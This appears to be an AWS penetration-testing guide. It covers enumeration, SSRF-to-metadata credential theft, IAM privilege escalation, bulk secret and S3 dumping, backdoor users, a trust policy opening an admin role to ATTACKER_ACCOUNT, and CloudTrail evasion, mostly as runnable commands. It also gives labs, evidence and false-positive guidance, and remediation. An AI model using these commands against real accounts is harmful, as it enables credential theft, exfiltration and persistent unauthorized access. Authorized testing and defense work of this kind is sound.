11 min read

AWS Pentesting

AWS environments are often compromised through misconfigured IAM permissions, exposed S3 buckets, and Server-Side Request Forgery (SSRF) attacks targeting the Instance Metadata Service (IMDS).

AWS Pentesting Kill Chain

Initial Access & Enumeration

Identity & IAM Enumeration

iam-enum.sh
# Check current identity
aws sts get-caller-identity

# Enumerate IAM users, roles, groups
aws iam list-users --query "Users[].{Name:UserName,Created:CreateDate}" --output table
aws iam list-roles --query "Roles[].{Name:RoleName,Arn:Arn}" --output table
aws iam list-groups

# Get detailed user policies (look for wildcards and admin access)
aws iam list-attached-user-policies --user-name target-user
aws iam list-user-policies --user-name target-user
aws iam get-user-policy --user-name target-user --policy-name <policy-name>

# Brute-force enumerate your own permissions (fast)
# enumerate-iam discovers allowed API calls without CloudTrail logging each attempt
python3 enumerate-iam.py --access-key AKIAXXX --secret-key XXXXX

S3 Bucket Enumeration

s3-enum.sh
# List all buckets (authenticated)
aws s3 ls
aws s3 ls s3://bucket-name --recursive --human-readable

# Check for PUBLIC buckets (unauthenticated)
aws s3 ls s3://bucket-name --no-sign-request
curl -s https://bucket-name.s3.amazonaws.com/ | xmllint --format -

# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name

# Check if bucket allows public uploads (critical finding)
echo "test" > /tmp/test.txt
aws s3 cp /tmp/test.txt s3://bucket-name/test-upload.txt --no-sign-request

# Mass scan for open buckets
s3scanner scan --bucket-file targets.txt

Service Enumeration

service-enum.sh
# EC2 instances (look for public IPs, security groups, IAM roles)
aws ec2 describe-instances --query "Reservations[].Instances[].{ID:InstanceId,IP:PublicIpAddress,Role:IamInstanceProfile.Arn,State:State.Name}" --output table

# Security groups (look for 0.0.0.0/0 ingress)
aws ec2 describe-security-groups --query "SecurityGroups[?IpPermissions[?IpRanges[?CidrIp=='0.0.0.0/0']]].{Name:GroupName,ID:GroupId}" --output table

# Lambda functions (code and environment variables may contain secrets)
aws lambda list-functions --query "Functions[].{Name:FunctionName,Runtime:Runtime,Role:Role}" --output table
aws lambda get-function --function-name target-function

# Secrets Manager and SSM Parameter Store
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id secret-name
aws ssm describe-parameters
aws ssm get-parameter --name /app/database/password --with-decryption

# RDS instances (database endpoints)
aws rds describe-db-instances --query "DBInstances[].{ID:DBInstanceIdentifier,Engine:Engine,Endpoint:Endpoint.Address,Public:PubliclyAccessible}" --output table

Metadata Service Exploitation

Warning

SSRF → IMDS is the #1 Cloud Attack Vector. The Capital One breach (106M records, $190M settlement) exploited exactly this path: SSRF through a WAF → IMDSv1 → IAM credentials → S3 exfiltration.

SSRF to IMDS Attack Flow

imds-exploitation.sh
# === IMDSv1 (exploitable via SSRF — no token required) ===
# Basic instance metadata
curl -s http://169.254.169.254/latest/meta-data/
curl -s http://169.254.169.254/latest/meta-data/hostname
curl -s http://169.254.169.254/latest/meta-data/local-ipv4

# Get IAM role name, then credentials
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | jq
# Returns: AccessKeyId, SecretAccessKey, Token (temporary STS credentials)

# Get user data (often contains bootstrap scripts with secrets)
curl -s http://169.254.169.254/latest/user-data

# === IMDSv2 (requires PUT to get token — blocks most SSRF) ===
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

# === Use stolen credentials from attacker machine ===
export AWS_ACCESS_KEY_ID="ASIAXXX"
export AWS_SECRET_ACCESS_KEY="xxx"
export AWS_SESSION_TOKEN="xxx"
aws sts get-caller-identity  # Verify — should show the EC2 role

IAM Privilege Escalation

AWS IAM has over 20 known privilege escalation paths. The most common involve creating new access keys, assuming roles, or modifying policies. Pacu automates discovery of these paths.

Technique Required Permission Impact
Create access key for another user iam:CreateAccessKey Impersonate any user (including admins)
Attach admin policy to self iam:AttachUserPolicy Full admin — attach AdministratorAccess
Create new policy version iam:CreatePolicyVersion Modify existing policy to add wildcards
Assume role sts:AssumeRole Pivot to more privileged role (cross-account)
Pass role to Lambda iam:PassRole + lambda:CreateFunction Execute code as any role in the account
Update Lambda code lambda:UpdateFunctionCode Inject code into existing Lambda (uses its role)
privilege-escalation.sh
# === Pacu — automated privilege escalation discovery ===
# Start Pacu and set stolen credentials
pacu
> set_keys
> run iam__enum_permissions  # Discover what you can do
> run iam__privesc_scan      # Find escalation paths
> run iam__backdoor_users_keys  # Create backdoor access keys

# === Manual: Create access key for admin user ===
aws iam create-access-key --user-name admin-user
# Now use those keys to become admin

# === Manual: Attach admin policy to your own user ===
aws iam attach-user-policy --user-name your-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# === Manual: Assume a cross-account role ===
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/AdminRole --role-session-name pentest
# Use returned credentials to operate in target account

# === Lambda privilege escalation: pass role + create function ===
cat > /tmp/escalate.py << 'EOF'
import boto3, json
def handler(event, context):
    client = boto3.client('iam')
    client.attach_user_policy(
        UserName='your-user',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return {'statusCode': 200}
EOF
zip /tmp/escalate.zip /tmp/escalate.py
aws lambda create-function --function-name escalate --runtime python3.12 \
  --handler escalate.handler --zip-file fileb:///tmp/escalate.zip \
  --role arn:aws:iam::123456789012:role/HighPrivRole
aws lambda invoke --function-name escalate /tmp/out.txt

Post-Exploitation & Persistence

post-exploitation.sh
# === Data Exfiltration ===
# Sync entire S3 bucket to local disk
aws s3 sync s3://sensitive-bucket ./exfil --no-sign-request

# Dump all secrets from Secrets Manager
for secret in $(aws secretsmanager list-secrets --query "SecretList[].Name" --output text); do
  echo "=== $secret ==="
  aws secretsmanager get-secret-value --secret-id "$secret" --query "SecretString" --output text
done

# Dump SSM parameters (often contain database passwords, API keys)
for param in $(aws ssm describe-parameters --query "Parameters[].Name" --output text); do
  echo "=== $param ==="
  aws ssm get-parameter --name "$param" --with-decryption --query "Parameter.Value" --output text
done

# === Lambda Code Extraction (may contain hardcoded secrets) ===
for func in $(aws lambda list-functions --query "Functions[].FunctionName" --output text); do
  echo "[+] Downloading $func"
  URL=$(aws lambda get-function --function-name "$func" --query "Code.Location" --output text)
  curl -s -o "$func.zip" "$URL"
  unzip -o "$func.zip" -d "./$func/"
  grep -rn "password\|secret\|key\|token" "./$func/" 2>/dev/null
done
persistence.sh
# === Persistence Techniques ===
# 1. Backdoor IAM user with hidden access key
aws iam create-access-key --user-name existing-service-user

# 2. Create a new IAM user (blends in with service accounts)
aws iam create-user --user-name svc-monitoring-agent
aws iam attach-user-policy --user-name svc-monitoring-agent --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name svc-monitoring-agent

# 3. Backdoor Lambda function (inject code into existing function)
aws lambda get-function --function-name prod-api --query "Code.Location" --output text
# Download, modify, re-upload with backdoor
aws lambda update-function-code --function-name prod-api --zip-file fileb://backdoored.zip

# 4. Create cross-account role trust (persistent access from attacker account)
# Modify trust policy to allow attacker's AWS account to assume the role
aws iam update-assume-role-policy --role-name AdminRole --policy-document '{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"AWS": "arn:aws:iam::ATTACKER_ACCOUNT:root"},
    "Action": "sts:AssumeRole"
  }]
}'

# === CloudTrail Evasion ===
# Check if CloudTrail is recording in current region
aws cloudtrail describe-trails --query "trailList[].{Name:Name,Region:HomeRegion,IsMultiRegion:IsMultiRegionTrail,Logging:IsLogging}"
# Some API calls (data events) are not logged by default (e.g., S3 GetObject, Lambda Invoke)

AWS Tools

Tool Category Best For
Pacu Exploitation Full AWS exploitation framework — priv esc, persistence, exfil
enumerate-iam Enumeration Brute-force IAM permission discovery
S3Scanner Scanning Open S3 bucket discovery and content dumping
CloudMapper Visualization AWS environment mapping and network diagrams
Prowler Auditing CIS benchmarks, security posture assessment
ScoutSuite Auditing Multi-cloud security auditing with HTML reports
WeirdAAL Enumeration AWS attack library — data exfil, recon, persistence

AWS Pentesting Labs

Hands-on practice with AWS attack techniques in intentionally vulnerable environments.

IAM Privilege Escalation — CloudGoat Custom Lab medium
Deploy CloudGoat (Rhino Security Labs) vulnerable AWS environmentStart with a low-privilege IAM user — enumerate permissions with enumerate-iamDiscover and exploit an iam:CreateAccessKey or iam:AttachUserPolicy escalation pathChain role assumptions to reach cross-account admin accessRun Pacu iam__privesc_scan to compare automated vs manual findingsClean up: tear down CloudGoat with terraform destroy
SSRF to IMDS Credential Theft Custom Lab hard
Deploy a web application on EC2 with IMDSv1 enabledIdentify an SSRF vulnerability in the applicationExploit SSRF to reach 169.254.169.254 and extract IAM role credentialsUse the stolen STS credentials to list S3 buckets and EC2 instancesEnable IMDSv2 and verify the SSRF attack is blockedImplement network-level mitigations (iptables rules blocking metadata from app user)
S3 Misconfiguration & Lambda Code Review Custom Lab medium
Use S3Scanner to discover public buckets in the lab environmentCheck bucket ACLs and policies for overpermissive accessDownload and review Lambda function code for hardcoded secretsExtract secrets from SSM Parameter Store and Secrets ManagerDocument all findings with CIS Benchmark referencesRun Prowler against the account and compare findings

Evidence to Capture

Every AWS finding has to name the account, the principal and the API call, or the client cannot locate it in their own telemetry.

Caller identity: The output of sts get-caller-identity at the time of the finding: account ID, ARN and user ID, so the client knows which principal acted.

Policy document: The policy JSON or inline document that grants the permission, with its ARN and the attachment path through a user, group or role.

Role trust document: The assume-role-policy statement, including the principal and any condition keys, for anything established through sts:AssumeRole.

API response: The raw JSON of the call that succeeded, not a screenshot of a formatted table; the field names and values are what the client will diff against their logs.

CloudTrail entry: The matching eventName, eventTime, sourceIPAddress and userAgent where CloudTrail was recording the event.

Resource identifier: Bucket name, instance ID or secret ARN exactly as the API returned it, so the client checks the resource policy rather than the one you inferred.

Likely False Positives

A control that looks absent in AWS is often enforced one layer out. Check the guardrail before the finding survives review.

  • Denied by an SCP or permissions boundary: An action can be absent from the effective set while the identity policy allows it. That is a guardrail finding, or no finding.
  • Resource policy denies: An explicit Deny in a bucket policy overrides an allow on the identity, so an apparently open ACL is not an open bucket.
  • IMDSv2 required: On an instance that requires a token, an SSRF that cannot issue a PUT has no credential path. The SSRF is still a finding; the credential theft is not.
  • Data events not logged: An action missing from CloudTrail can mean it never happened, or that data-event logging is off. The two have different remedies.
  • Already flagged by Access Analyzer: A match with an existing Access Analyzer finding is known and possibly accepted; confirm before writing it up as new.
  • Console access proves nothing: A successful console login does not show which IAM permissions were exercised. The API call does.
  • Temporary credentials already expired: STS credentials recovered from an old log or a terminated instance no longer authenticate; record the expiry before claiming access.

Testing Checklist

Identity

  • ☐ Caller identity captured for every finding
  • ☐ Effective permissions distinguished from identity-policy permissions
  • ☐ SCPs, permissions boundaries and session policies checked before writing an escalation
  • ☐ Cross-account trust paths traced to the account that can assume them
  • ☐ Access keys and session tokens redacted, expiry recorded

Data

  • ☐ Bucket ACL, bucket policy and public access block reviewed together
  • ☐ Object-level and bucket-level exposure stated separately
  • ☐ Secrets Manager and SSM values recorded as paths, never as plaintext
  • ☐ Lambda environment variables reviewed for secrets
  • ☐ Snapshot and AMI sharing permissions checked

Network

  • ☐ Security group and NACL rules captured as JSON
  • ☐ Metadata service version recorded per instance
  • ☐ Public IP and load-balancer exposure distinguished from private reachability
  • ☐ VPC endpoint policies checked before reporting an egress path

Logging

  • ☐ CloudTrail trail coverage and regions recorded
  • ☐ Data-event logging state noted for S3 and Lambda
  • ☐ GuardDuty and Security Hub findings checked for duplicates
  • ☐ Evidence timestamps captured in UTC with the event IDs

Remediation & Defense

Identity

  • • Replace wildcard actions in identity policies with the specific calls the workload needs
  • • Attach a permissions boundary to any role that can create or attach policies
  • • Remove long-lived access keys in favour of roles and session credentials
  • • Constrain role trust with ExternalId and source-account conditions

Network and metadata

  • • Set HttpTokens to required on every instance so IMDSv2 is enforced
  • • Block 169.254.169.254 at the host firewall for workloads that never need it
  • • Scope security-group ingress rules that currently allow 0.0.0.0/0

Data

  • • Enable S3 Block Public Access at the account level, then review the exceptions deliberately
  • • Replace bucket ACLs with bucket policies and the expected-bucket-owner setting
  • • Turn on default encryption and deny unencrypted PutObject in the bucket policy

Detection

  • • Enable CloudTrail data events for the buckets that hold regulated data
  • • Alert on iam:CreateAccessKey, iam:AttachUserPolicy and unexpected sts:AssumeRole principals
  • • Schedule Prowler or Security Hub against the CIS AWS Foundations benchmark and track drift